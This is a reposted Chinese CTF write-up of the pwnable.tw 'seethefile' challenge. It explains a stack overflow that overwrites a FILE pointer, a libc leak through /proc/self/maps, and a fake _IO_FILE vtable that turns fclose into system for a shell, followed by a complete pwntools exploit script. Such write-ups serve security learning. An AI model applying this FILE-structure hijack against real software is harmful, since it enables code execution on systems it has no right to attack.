pwnable.tw 9 seethefile [250 pts]

之前做了五道题直接做自闭了,各种手写shellcode,学到了很多姿势,这是一道文件题,没接触过,来挑战一下……

no canary found!!!!!! 拖进IDA分析

一共有五个功能

有一个明显的栈溢出

我们可以通过溢出name来覆盖fp

1)openfile:打开文件,文件指针就是fp,不能打开文件名为flag的文件

2)readfile:从fp读取0x18F个字节到magicbuf上

3)closefile:关闭文件,指针fp赋0

4)writefile:只是一个打印函数,而不能写入,不能打印flag,FLAG,}名的文件,如下

思路就是构造fake FILE,从而使得接下来的fclose执行system(“/bin/sh”)

一开始也不知到咋泄露libc内容

后来看了这篇文章:http://p4nda.top/2017/09/20/pwnable-tw-seethefile/

原来文件的内存信息存储与/proc/pid/maps中

远程一下试试看

还行,可以看见,我们需要的是libc_address的偏移量,然后找出system_address

我们还需要学会怎么伪造IO_File,头疼,又是没接触过的

学习链接:https://www.jianshu.com/p/2e00afb01606

                  https://www.jianshu.com/p/a6354fa4dbdf

提几个偷懒的知识点好了:

1._IO_FILE结构体大小为0x94,我的版本是这个,查一下就好,只需要改掉有用的

2._flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)

3.将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以';'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可

4.vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
	cn = process('./seethefile')
	bin = ELF('./seethefile')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('chall.pwnable.tw',10200)
	bin = ELF('./seethefile')
	libc = ELF('libc_32.so.6')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()

def openfile(name):
    cn.recvuntil('Your choice :')
    cn.sendline('1')
    cn.recvuntil('to see :')
    cn.sendline(name)


def readfile():
    cn.recvuntil('Your choice :')
    cn.sendline('2')

def writefile():
    cn.recvuntil('Your choice :')
    cn.sendline('3')

def closefile():
    cn.recvuntil('Your choice :')
    cn.sendline('4')

def exit(name):
    cn.recvuntil('Your choice :')
    cn.sendline('5')
    cn.recvuntil('your name :')
    cn.sendline(name)

openfile('/proc/self/maps')
readfile()
writefile()
cn.recvline()
cn.recvline()
cn.recvline()
cn.recvline()
libc.address = int(cn.recvline()[:8],16)+0x1000
print 'offset: '+hex(libc.address)
system_addr=libc.symbols['system']
print 'system: '+hex(system_addr)
closefile()

openfile('/proc/self/maps')
#spare place
addr=0x0804B300
payload=''
#padding+change *fp
payload+='a'*32 + p32(addr)
payload+='\x00'*(0x80-4)
#fake IO file
#flag+code
payload+='\xff\xff\xdf\xff;$0\x00'.ljust(0x94,'\x00')
#change vtable
payload+=p32(addr+0x98)
payload+=p32(system_addr)*21
exit(payload)

cn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/84782627
今日推荐